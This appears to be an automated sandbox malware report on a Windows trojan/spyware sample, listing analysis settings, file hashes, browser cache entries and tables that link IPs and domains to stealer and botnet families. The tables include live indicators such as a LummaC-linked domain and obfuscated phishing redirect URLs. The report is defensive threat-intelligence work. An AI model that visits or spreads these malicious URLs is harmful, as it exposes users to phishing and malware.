Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	12
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	2RxMkSAgZ8.exe renamed because original name is a hash value
Original Sample Name:	9206302f53ca9294d3a4bd17c0ef0adc.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@24/64@11/7
EGA Information:	Successful, ratio: 100%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 217.20.57.19, 142.250.185.227, 184.28.89.167, 142.250.186.142, 64.233.184.84, 95.101.150.2, 142.250.181.238, 216.58.206.78, 20.42.65.84, 216.58.206.42, 142.250.185.106, 142.250.185.170, 142.250.186.138, 142.250.184.234, 142.250.186.42, 142.250.185.74, 172.217.23.106, 142.250.186.106, 216.58.206.74, 172.217.16.202, 142.250.181.234, 142.250.185.138, 142.250.186.74, 142.250.184.202, 172.217.18.10, 2.16.168.100, 2.16.168.102, 13.74.129.1, 13.107.21.237, 204.79.197.237, 20.42.65.94, 216.58.212.174, 142.250.185.206, 142.250.185.238, 142.250.184.238, 142.250.186.174, 142.250.184.227, 172.217.18.14, 216.58.206.46, 13.107.246.45, 20.109.210.53, 184.28.90.27
Excluded domains from analysis (whitelisted): slscr.update.microsoft.com, c-msn-com-nsatc.trafficmanager.net, clientservices.googleapis.com, browser.events.data.trafficmanager.net, learn.microsoft.com, time.windows.com, e11290.dspg.akamaiedge.net, mdec.nelreports.net.akamaized.net, go.microsoft.com, clients2.google.com, redirector.gvt1.com, star-azurefd-prod.trafficmanager.net, a1883.dscd.akamai.net, learn.microsoft.com.edgekey.net, onedscolprdeus02.eastus.cloudapp.azure.com, update.googleapis.com, clients1.google.com, fs.microsoft.com, accounts.google.com, content-autofill.googleapis.com, otelrules.azureedge.net, c-bing-com.dual-a-0034.a-msedge.net, ctldl.windowsupdate.com, learn.microsoft.com.edgekey.net.globalredir.akadns.net, onedscolprdeus23.eastus.cloudapp.azure.com, firstparty-azurefd-prod.trafficmanager.net, fe3cr.delivery.mp.microsoft.com, browser.events.data.microsoft.com, edgedl.me.gvt1.com, e13636.dscb.akamaiedge.net, c.bing.com, learn-public.trafficmanager.net, go.microsoft.com.edgekey.net, dual-
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
03:50:47	API Interceptor	32x Sleep call for process: 2RxMkSAgZ8.exe modified

LLM Input / Output

Input	Output
URL: https://microsoft.com Model: Joe Sandbox AI	{ "typosquatting": false, "unusual_query_string": false, "suspicious_tld": false, "ip_in_url": false, "long_subdomain": false, "malicious_keywords": false, "encoded_characters": false, "redirection": false, "contains_email_address": false, "known_domain": true, "brand_spoofing_attempt": false, "third_party_hosting": false }
URL: https://microsoft.com
URL: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=2RxMkSAgZ8.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "This application could not be started", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=2RxMkSAgZ8.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "This application could not be started", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=2RxMkSAgZ8.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 Model: Joe Sandbox AI	{ "brands": [ "Microsoft" ] }
	{ "brands": [ "Microsoft" ] }
URL: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=2RxMkSAgZ8.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 Model: Joe Sandbox AI	{ "brands": [ "Microsoft" ] }
	{ "brands": [ "Microsoft" ] }

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
13.107.246.63	Contract Proposal Documents.pdf	Get hash	malicious	Unknown	Browse	assets-gbr.mkt.dynamics.com/cc57758b-ada1-ef11-8a64-000d3a872ba0/digitalassets/standaloneforms/645a21a8-32ac-ef11-b8e8-6045bd0f229c
13.107.246.44	bzzF5OFbVi.exe	Get hash	malicious	LummaC	Browse
	file.exe	Get hash	malicious	LummaC	Browse
	file.exe	Get hash	malicious	LummaC	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC	Browse
	https://www.google.co.ao/url?Obdy=ObM8wNGVUva21gnTm3qS&cgsr=7knoOQwChvIkzgfn0TSm&sa=t&wofc=nQYL5DF797O1da77PTBQ&url=amp%2Fprimer-distrito-amvt.org%2F.r%2FiO8EME-SUREDANNaW50ZXJtb2RhbC5qYXhAc2VhYm9hcmRtYXJpbmUuY29t	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC	Browse
	https://www.bing.com/ck/a?!&&p=5ceef533778c3decJmltdHM9MTcyMzQyMDgwMCZpZ3VpZD0zNjRmNjVlOC1lNTZjLTYxOWQtMTI1Ny03MTNlZTQyYTYwMTImaW5zaWQ9NTE0MA&ptn=3&ver=2&hsh=3&fclid=364f65e8-e56c-619d-1257-713ee42a6012&u=a1aHR0cHM6Ly9sZXhpbnZhcmlhbnQuY29tLw#aHR0cHM6Ly9HMTAuZHpwdndvYnIucnUvdkd5c2dQdC8=	Get hash	malicious	Unknown	Browse
	NoteID [4962398] _Secure_Document_Mrettinger-46568.docx	Get hash	malicious	HTMLPhisher	Browse
104.21.64.1	SH8ZyOWNi2.exe	Get hash	malicious	CMSBrute	Browse	adsfirm.com/administrator/index.php
104.21.64.1	PO2412010.exe	Get hash	malicious	FormBook	Browse	www.bser101pp.buzz/v89f/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
s-part-0016.t-0009.t-msedge.net	bzzF5OFbVi.exe	Get hash	malicious	LummaC	Browse	13.107.246.44
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.44
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.44
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	13.107.246.44
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.44
	https://www.google.co.ao/url?Obdy=ObM8wNGVUva21gnTm3qS&cgsr=7knoOQwChvIkzgfn0TSm&sa=t&wofc=nQYL5DF797O1da77PTBQ&url=amp%2Fprimer-distrito-amvt.org%2F.r%2FiO8EME-SUREDANNaW50ZXJtb2RhbC5qYXhAc2VhYm9hcmRtYXJpbmUuY29t	Get hash	malicious	Unknown	Browse	13.107.246.44
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	13.107.246.44
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.44
	https://www.bing.com/ck/a?!&&p=5ceef533778c3decJmltdHM9MTcyMzQyMDgwMCZpZ3VpZD0zNjRmNjVlOC1lNTZjLTYxOWQtMTI1Ny03MTNlZTQyYTYwMTImaW5zaWQ9NTE0MA&ptn=3&ver=2&hsh=3&fclid=364f65e8-e56c-619d-1257-713ee42a6012&u=a1aHR0cHM6Ly9sZXhpbnZhcmlhbnQuY29tLw#aHR0cHM6Ly9HMTAuZHpwdndvYnIucnUvdkd5c2dQdC8=	Get hash	malicious	Unknown	Browse	13.107.246.44
	NoteID [4962398] _Secure_Document_Mrettinger-46568.docx	Get hash	malicious	HTMLPhisher	Browse	13.107.246.44
s-part-0017.t-0009.t-msedge.net	bzzF5OFbVi.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
	6684V5n83w.exe	Get hash	malicious	Vidar	Browse	13.107.246.45
	Bp4LoSXw83.lnk	Get hash	malicious	Unknown	Browse	13.107.246.45
	COMMERCAIL INVOICE AND DHL AWB TRACKING DETAILS.exe	Get hash	malicious	FormBook	Browse	13.107.246.45
	UmotQ1qjLq.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
	Open Purchase Order Summary Details-16-12-2024.vbs	Get hash	malicious	LodaRAT, XRed	Browse	13.107.246.45
	Open Purchase Order Summary Sheet.vbs	Get hash	malicious	LodaRAT, XRed	Browse	13.107.246.45
	xyxmml.msi	Get hash	malicious	XRed	Browse	13.107.246.45
	valyzt.msi	Get hash	malicious	XRed	Browse	13.107.246.45
	Purchase-Order.exe	Get hash	malicious	LodaRAT, XRed	Browse	13.107.246.45
fancywaxxers.shop	bzzF5OFbVi.exe	Get hash	malicious	LummaC	Browse	104.21.64.1
	x6VtGfW26X.exe	Get hash	malicious	LummaC	Browse	104.21.112.1
	Launcher.exe	Get hash	malicious	LummaC	Browse	104.21.96.1
	GTA-5-Mod-Menu-2025.exe	Get hash	malicious	LummaC	Browse	104.21.96.1
	AquaDiscord-2.0.exe	Get hash	malicious	LummaC	Browse	104.21.16.1
	random.exe	Get hash	malicious	LummaC	Browse	104.21.48.1
	UmotQ1qjLq.exe	Get hash	malicious	LummaC	Browse	104.21.96.1
	R3nz_Loader.exe	Get hash	malicious	LummaC	Browse	104.21.32.1
	Loader.exe	Get hash	malicious	LummaC	Browse	104.21.80.1

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
MICROSOFT-CORP-MSN-AS-BLOCKUS	bzzF5OFbVi.exe	Get hash	malicious	LummaC	Browse	13.107.246.44
	6684V5n83w.exe	Get hash	malicious	Vidar	Browse	204.79.197.219
	https://gogl.to/3HGT	Get hash	malicious	CAPTCHA Scam ClickFix, DcRat, KeyLogger, StormKitty, VenomRAT	Browse	13.107.42.14
	kwari.arm.elf	Get hash	malicious	Unknown	Browse	20.170.140.15
	kwari.mips.elf	Get hash	malicious	Unknown	Browse	20.239.229.213
	kwari.arm7.elf	Get hash	malicious	Mirai	Browse	52.241.5.244
	BHgwhz3lGN.exe	Get hash	malicious	Vidar	Browse	204.79.197.219
	botx.x86.elf	Get hash	malicious	Mirai	Browse	20.153.214.5
	botx.m68k.elf	Get hash	malicious	Mirai	Browse	20.192.254.94
	botx.ppc.elf	Get hash	malicious	Mirai	Browse	40.92.180.169
MICROSOFT-CORP-MSN-AS-BLOCKUS	bzzF5OFbVi.exe	Get hash	malicious	LummaC	Browse	13.107.246.44
	6684V5n83w.exe	Get hash	malicious	Vidar	Browse	204.79.197.219
	https://gogl.to/3HGT	Get hash	malicious	CAPTCHA Scam ClickFix, DcRat, KeyLogger, StormKitty, VenomRAT	Browse	13.107.42.14
	kwari.arm.elf	Get hash	malicious	Unknown	Browse	20.170.140.15
	kwari.mips.elf	Get hash	malicious	Unknown	Browse	20.239.229.213
	kwari.arm7.elf	Get hash	malicious	Mirai	Browse	52.241.5.244
	BHgwhz3lGN.exe	Get hash	malicious	Vidar	Browse	204.79.197.219
	botx.x86.elf	Get hash	malicious	Mirai	Browse	20.153.214.5
	botx.m68k.elf	Get hash	malicious	Mirai	Browse	20.192.254.94
	botx.ppc.elf	Get hash	malicious	Mirai	Browse	40.92.180.169
CLOUDFLARENETUS	bzzF5OFbVi.exe	Get hash	malicious	LummaC	Browse	104.21.64.1
	6684V5n83w.exe	Get hash	malicious	Vidar	Browse	172.64.41.3
	Bp4LoSXw83.lnk	Get hash	malicious	Unknown	Browse	172.64.41.3
	x6VtGfW26X.exe	Get hash	malicious	LummaC	Browse	104.21.112.1
	heteronymous.vbs	Get hash	malicious	Remcos, GuLoader	Browse	172.67.136.42
	re5.mp4.hta	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
	zku4YyCG6L.exe	Get hash	malicious	Unknown	Browse	188.114.96.3
	hca5qDUYZH.exe	Get hash	malicious	Unknown	Browse	188.114.96.3
	PO_2024_056209_MQ04865_ENQ_1045.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	188.114.96.3

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	bzzF5OFbVi.exe	Get hash	malicious	LummaC	Browse	104.21.64.1
	PO#5_tower_Dec162024.cmd	Get hash	malicious	DBatLoader	Browse	104.21.64.1
	x6VtGfW26X.exe	Get hash	malicious	LummaC	Browse	104.21.64.1
	re5.mp4.hta	Get hash	malicious	LummaC	Browse	104.21.64.1
	Poket.mp4.hta	Get hash	malicious	LummaC	Browse	104.21.64.1
	Exlan_setup_v3.1.2.exe	Get hash	malicious	LummaC	Browse	104.21.64.1
	Set-up.exe	Get hash	malicious	LummaC, GO Backdoor, LummaC Stealer	Browse	104.21.64.1
	Setup.exe	Get hash	malicious	LummaC	Browse	104.21.64.1
	X-mas_2.3.2.exe	Get hash	malicious	LummaC	Browse	104.21.64.1
	ReploidReplic.exe	Get hash	malicious	LummaC	Browse	104.21.64.1

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 658 x 480, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	13842
Entropy (8bit):	7.802399161550213
Encrypted:	false
SSDEEP:	192:NLNf+jBQsDHg7av3EEondO8PuRu2mIYXEIiDm42NpsHFMHfgnJ4K2DVwv:NLt+1jDmY+ndXwjLUpiDwpzfwoDVk
MD5:	F6EC97C43480D41695065AD55A97B382
SHA1:	D9C3D0895A5ED1A3951B8774B519B8217F0A54C5
SHA-256:	07A599FAB1E66BABC430E5FED3029F25FF3F4EA2DD0EC8968FFBA71EF1872F68
SHA-512:	22462763178409D60609761A2AF734F97B35B9A818EC1FD9046AFAB489AAD83CE34896EE8586EFE402EA7739ECF088BC2DB5C1C8E4FB39E6A0FC5B3ADC6B4A9B
Malicious:	false
Reputation:	moderate, very likely benign file
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/install-3-5.png
Preview:	.PNG........IHDR................1....sRGB.........gAMA......a.....pHYs..........o.d..5.IDATx^..[.,.]...../<.!.B(/y..).F\r...!(.H..a ..B.~..A..KXA.M...6..8...!1....l./.X.1....2.`.y"l..R...V.....{...}._gWW.Z.VUw.N...U..P@..... ..@.A...".$..E.I.........$..("H..PD..... ..p....U.}.{.....l..A.....A........s.......D.0...@....E..x........L. /.".A.....$...Y."...%.I..["../.&.I..[`.0..IA.........p4.I.........$..("H..PD..... ..@.A...".$..E.I.........$..("H..PD..... ..@.A...".$..E.>H...O.................?.~.......].7.....a?....(H....m.G..G..a.P..?yo......f?...o. .B.....mo{[....:9<].....7.....a.....S..Cd.5,.R....#....>......._g.....Wo\|.....z.g.........w.T...]x.>.....y(.........6....[..px...U....~.~hu...}H.......~.L... ....r...iY.$..Id..Ax"../....._..U....OTo\|.Mh.km..A.k..k....n.C`\|._\=...o...a.e.. ...&.A2..k.. ....X.+...C..P....y..>.{._..(H....8(.?...w.}M.........:s_!.m.........BY..T..z.5{.W.~..6.....F....bq....m.....?.......v....o..o...ki...iX.$......\]V...V...

Chrome Cache Entry: 101

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (33273), with no line terminators
Category:	dropped
Size (bytes):	33273
Entropy (8bit):	4.918756013698695
Encrypted:	false
SSDEEP:	384:FnvJOb4OLIch+KCnMet7NPXlJl+HjZjBTRdE0zIwHdZ4vNNpUjV8din4E9hLUukj:5hOEO8chkMet7pCjBfcHkWOzUukj
MD5:	86E84C732A96BF9CF18C99B48DB90B6D
SHA1:	6A8C212067CB9FE5B8325AE1E89FCA3E7FCF20FA
SHA-256:	B54678C5BFB00DC1AFBF2E52C56F8E10173975C25FB19062EFE5DC86F1B7D769
SHA-512:	AD91A78371074B5BB2105A9AE69664371C235B7C82DFD25C9ED17F435E92018F2A0DD42203F403D7A75DF4FC63966017519F118B2B22F0DE7656B2B155636AA2
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	{"items":[{"href":"./","toc_title":".NET Framework documentation"},{"href":"get-started/overview","toc_title":"Overview of .NET Framework"},{"children":[{"href":"get-started/","toc_title":"Overview"},{"href":"get-started/out-of-band-releases","toc_title":"Out-of-band releases"},{"href":"get-started/system-requirements","toc_title":"System requirements"}],"toc_title":"Get started"},{"children":[{"href":"install/","toc_title":"Overview"},{"href":"install/guide-for-developers","toc_title":"For developers"},{"children":[{"href":"install/on-windows-11","toc_title":"Windows 11"},{"href":"install/on-windows-10","toc_title":"Windows 10 and Windows Server 2016"},{"href":"install/on-windows-8-1","toc_title":"Windows 8.1 and Windows Server 2012 R2"},{"href":"install/on-windows-8","toc_title":"Windows 8 and Windows Server 2012"},{"href":"install/on-server-2022","toc_title":"Windows Server 2022"},{"href":"install/on-server-2019","toc_title":"Windows Server 2019"}],"toc_title":"By OS version"},{"hre

Chrome Cache Entry: 102

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	5644
Entropy (8bit):	4.785769732002188
Encrypted:	false
SSDEEP:	96:ogVOjPW7cI3aDNjExAjfWQpL0dpwmWMv7AD8RevyvRJNjyZPtJ27RlhiewZjMeZf:og5cUaDNjESLWQN0dpwm9+6DlUu7lYjX
MD5:	B5885C991E30238110973653F2408300
SHA1:	39B0A79D951F8254E21821134E047C76F57AD2A8
SHA-256:	085BF5AE32E6F7F1299CA79248B0CB67EBD31566728A69F4466E1659C004732E
SHA-512:	6BEC209D933C7A1065047637F550B7A36809D835938C04851A3B09DF644BD3EC85A2CE30F73FCFB709FE7AF3453799B2EB76702D0AB2BE067CD07D2EC03537C0
Malicious:	false
Reputation:	moderate, very likely benign file
URL:	https://learn.microsoft.com/en-us/content-nav/site-header/site-header.json?
Preview:	{"brandLink":{"biName":"learn","displayName":"Learn","href":"/"},"featuredContent":[{"biName":"1-microsoft-learn-for-organizations","description":"Access curated resources to upskill your team and close skills gaps.","href":"/training/organizations/","supertitle":"Microsoft Learn for Organizations","title":"Boost your team\u0027s technical skills"}],"metadata":{"git_commit_id":"dab49ca79cb372010aeaec5e99463f6cec8df000"},"navCategories":[{"biName":"1-discover","panel":{"panelContent":[{"biName":"1-documentation","componentType":"header-panel-card","description":"In-depth articles on Microsoft developer tools and technologies","href":"/docs/","title":"Documentation"},{"biName":"2-training","componentType":"header-panel-card","description":"Personalized learning paths and courses","href":"/training/","title":"Training"},{"biName":"3-credentials","componentType":"header-panel-card","description":"Globally recognized, industry-endorsed credentials","href":"/credentials/","title":"Credential

Chrome Cache Entry: 103

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 19696, version 1.0
Category:	downloaded
Size (bytes):	19696
Entropy (8bit):	7.9898910353479335
Encrypted:	false
SSDEEP:	384:37wfQhsuDSP36Elj0oScS8w3F1ZTt5JwtRGsh1SJR3YL0BeojRs8E:37Cms69owH3FPutReFYL+eods8E
MD5:	4D0BFEA9EBDA0657CEE433600ED087B6
SHA1:	F13C690B170D5BA6BE45DEDC576776CA79718D98
SHA-256:	67E7D8E61B9984289B6F3F476BBEB6CEB955BEC823243263CF1EE57D7DB7AE9A
SHA-512:	9136ADEC32F1D29A72A486B4604309AA8F9611663FA1E8D49079B67260B2B09CEFDC3852CF5C08CA9F5D8EA718A16DBD8D8120AC3164B0D1519D8EF8A19E4EA5
Malicious:	false
URL:	https://learn.microsoft.com/static/assets/0.4.029026183/styles/docons.6a251ae.34a85e0c.woff2
Preview:	wOF2......L........`..L..........................T.V..@........6.$........ ..y.......d^..Awp(......<.1..fE.......I......z-.."YTZ.p.eMd.#..7.qY..Z.!..V...!......r...Z.;b........J....X..;.^...>UQ%U..CkT.....zKG.!\8%..>.b.4o4.t..........3..C..?u....E.S$.:.....mfZ......... .Q...].y..@....m.tC.C6. ......37..,V...F.a...A.. .PQ".A...B...p...q..!QA.N..m.......(..........gv..L...5M&._..+@.U..k.....CU..@...._.9q{....B..C.dB.F.a......J_Jo..M..oR....m......r...U0...y!.@-.h7...z....e.....J+...-{.s..1...^...zM[~....Fy.';.V...=.%......"..H..w.9L..$.{d.j&..... K...P`.$.g....;.0..........T.v....j.0Ht..<. ...<\......Ol.\|_U.+rmW..JK..".e<C ...q.?...B..l..Ni.....H....D..n@.......=c.f3.7........t...Z...}{....S;..KU.Ho.`....._?m....y...32l^.(..r..........Z...{U....W(......\|.q..P.`,.YQ....-,c...g*F..=....."M.......sq....-....w(.e.K........^2e.3&.\|,..4.TO..D].........W..W%j.._...nS.X.gE..3;2..:...Y..4j.-....c0A...U...p......d.M..6.L..b....O:[['wN.\|49.......]

Chrome Cache Entry: 104

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 1528x402, components 3
Category:	dropped
Size (bytes):	64291
Entropy (8bit):	7.964191793580486
Encrypted:	false
SSDEEP:	1536:NHnitWEy8ugr5KeKvJx4FqzmYyIf52YHcd/HpQxhSoywkY8+N4U4Bv:NHitHyJTeysFqiYyIfEYHchQWoywkY8v
MD5:	8CCB0248B7F2ABEEAD74C057232DF42A
SHA1:	C02BD92FEA2DF7ED12C8013B161670B39E1EC52F
SHA-256:	0A9FD0C7F32EABBB2834854C655B958EC72A321F3C1CF50035DD87816591CDCC
SHA-512:	6D6E3C858886C9D6186AD13B94DBC2D67918AA477FB7D70A7140223FAB435CF109537C51CA7F4B2A0DB00EEAD806BBE8C6B29B947B0BE7044358D2823F5057CE
Malicious:	false
Preview:	......JFIF..............ICC_PROFILE............0..mntrRGB XYZ ............acsp.......................................-....................................................desc.......$rXYZ........gXYZ...(....bXYZ...<....wtpt...P....rTRC...d...(gTRC...d...(bTRC...d...(cprt.......<mluc............enUS.........s.R.G.BXYZ ......o...8.....XYZ ......b.........XYZ ......$.........XYZ ...............-para..........ff......Y.......[........mluc............enUS... .....G.o.o.g.l.e. .I.n.c... .2.0.1.6...C....................................................................C............................................................................"..........................................\......................!1..A.Qaq......".....#23BR......56Urst....$%4ST....&CDbcd......EFV.u...................................[...........................!1.AQR...."2Saq.......Ts.......#356BCDUbr.....%&47c.....$'Et..............?...j.....'Gu..7.=......8. ..nh..F.....y ..=....1L\U.+.Pj.RnI.(...N.{%].b..J..r...W[

Chrome Cache Entry: 105

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 475 x 212, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	35005
Entropy (8bit):	7.980061050467981
Encrypted:	false
SSDEEP:	768:aHBEr/QXnbCgWotMq4AZZivq2/Qu0cEv1FjHBep6U0Z/68R:ahWqbTWiM7ACvdIdldhep4rR
MD5:	522037F008E03C9448AE0AAAF09E93CB
SHA1:	8A32997EAB79246BEED5A37DB0C92FBFB006BEF2
SHA-256:	983C35607C4FB0B529CA732BE42115D3FCAAC947CEE9C9632F7CACDBDECAF5A7
SHA-512:	643EC613B2E7BDBB2F61E1799C189B0E3392EA5AE10845EB0B1F1542A03569E886F4B54D5B38AF10E78DB49C71357108C94589474B181F6A4573B86CF2D6F0D8
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/app-could-not-be-started.png
Preview:	.PNG........IHDR..............[.U....sRGB.........gAMA......a.....pHYs..........+.....RIDATx^..`........B hpwww(PJ....R.B.....K[j....@ H ..r:...].P._.`...K.ffg.v.ygf.TM.4.m...`.D".H$......"##..2e.X.t..Y".H$...d..PK.V".H$..uVm.,.H$.....b+.H$.I-#.V".H$.ZF..D".H$...[.D".Hj.)...D"..2Rl%..D".e..J$..DR.H..H$.....b+.H$..9..Neee.X,.B.\/.....o.b+.H$..9...q...EHU....p.....=z....b.7.q..........N.. ....cUAX.9...m'_...2.`.g{...4.H.9.p.4...K ^.....`.\|.n..]..m..`W..W.H.~..\|.^.a..K.6......_....K..w....9......^.....&...R....[...w..Ix=.:..^/..Epp0.5.....QRR...l....S.b.5.c.6...5..8.\....z...I......&.>....../.{.=...]'c......[.E`@Cg......Z.....c.f..,.y\|,.{.o@.j..2..:.&l4.{.]Ll.N.0..b:b...g.n.........I...Ewc....[..,i`v......F...il\|.c,{.-.....%BP.U........y.x....6..E2..n.W...J .*..`..r....F....#BCC......\|.L&........O...'........\.....;...q.n$...7...ga..x....)..A...0.{1..'1../...+yRC...W.-..b..c0dDG...U[po....2eG.G.../.@........h.:.k?.......Q...

Chrome Cache Entry: 106

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	4897
Entropy (8bit):	4.8007377074457604
Encrypted:	false
SSDEEP:	96:A0AIvEQ+KfZcbhaW9dp45qtAdflfDOFnymoLByzfwqrLvJ4QG63JkRJ+dRp8TJHr:dgQ+KfZcbhaWjp45qtAdflfDOFnNgByQ
MD5:	0E78F790402498FA57E649052DA01218
SHA1:	9ED4D0846DA5D66D44EE831920B141BBF60A0200
SHA-256:	73F3061A46EA8FD11D674FB21FEEEFE3753FC3A3ED77224E7F66A964C0420603
SHA-512:	B46E4B90E53C7DABC7208A6FDAE53F25BD70FCFBBEF03FFC64B1B5D1EB1C01C870A7309DF167246FCCD114B483038A64D7C46CA3B9FCB3779A77E42DB6967051
Malicious:	false
URL:	https://learn.microsoft.com/en-us/content-nav/MSDocsHeader-DotNet.json?
Preview:	{"callToAction":{"primary":{"biName":"download-dotnet","href":"https://dotnet.microsoft.com/download","kind":"link","title":"Download .NET"}},"category":{"biName":"dotnet","href":"/dotnet/","kind":"link","title":".NET"},"items":[{"biName":"1-languages","items":[{"biName":"1-c-sharp","href":"/dotnet/csharp/","kind":"link","title":"C#"},{"biName":"2-f-sharp","href":"/dotnet/fsharp/","kind":"link","title":"F#"},{"biName":"3-visual-basic","href":"/dotnet/visual-basic/","kind":"link","title":"Visual Basic"}],"kind":"menu","title":"Languages"},{"biName":"2-features","items":[{"biName":"1-fundamental","href":"/dotnet/fundamentals/","kind":"link","title":"Fundamentals"},{"biName":"2-tools-and-diagnostics","href":"/dotnet/navigate/tools-diagnostics/","kind":"link","title":"Tools and diagnostics"},{"biName":"3-ai","items":[{"biName":"1-generative-ai","href":"/dotnet/ai/","kind":"link","title":"Generative AI"},{"biName":"2-mlnet","href":"/dotnet/machine-learning/","kind":"link","title":"ML.NET"}]

Chrome Cache Entry: 107

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	4.241202481433726
Encrypted:	false
SSDEEP:	3:YozDD/RNgQJzRWWlKFiFD3e4xCzY:YovtNgmzR/wYFDxkY
MD5:	9E576E34B18E986347909C29AE6A82C6
SHA1:	532C767978DC2B55854B3CA2D2DF5B4DB221C934
SHA-256:	88BDF5AF090328963973990DE427779F9C4DF3B8E1F5BADC3D972BAC3087006D
SHA-512:	5EF6DCFFD93434D45760888BF4B95FF134D53F34DA9DC904AD3C5EBEDC58409073483F531FEA4233869ED3EC75F38B022A70B2E179A5D3A13BDB10AB5C46B124
Malicious:	false
Preview:	{"Message":"The requested resource does not support http method 'GET'."}

Chrome Cache Entry: 108

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 1528x402, components 3
Category:	downloaded
Size (bytes):	64291
Entropy (8bit):	7.964191793580486
Encrypted:	false
SSDEEP:	1536:NHnitWEy8ugr5KeKvJx4FqzmYyIf52YHcd/HpQxhSoywkY8+N4U4Bv:NHitHyJTeysFqiYyIfEYHchQWoywkY8v
MD5:	8CCB0248B7F2ABEEAD74C057232DF42A
SHA1:	C02BD92FEA2DF7ED12C8013B161670B39E1EC52F
SHA-256:	0A9FD0C7F32EABBB2834854C655B958EC72A321F3C1CF50035DD87816591CDCC
SHA-512:	6D6E3C858886C9D6186AD13B94DBC2D67918AA477FB7D70A7140223FAB435CF109537C51CA7F4B2A0DB00EEAD806BBE8C6B29B947B0BE7044358D2823F5057CE
Malicious:	false
URL:	https://learn.microsoft.com/en-us/media/event-banners/banner-learn-challenge-2024.jpg
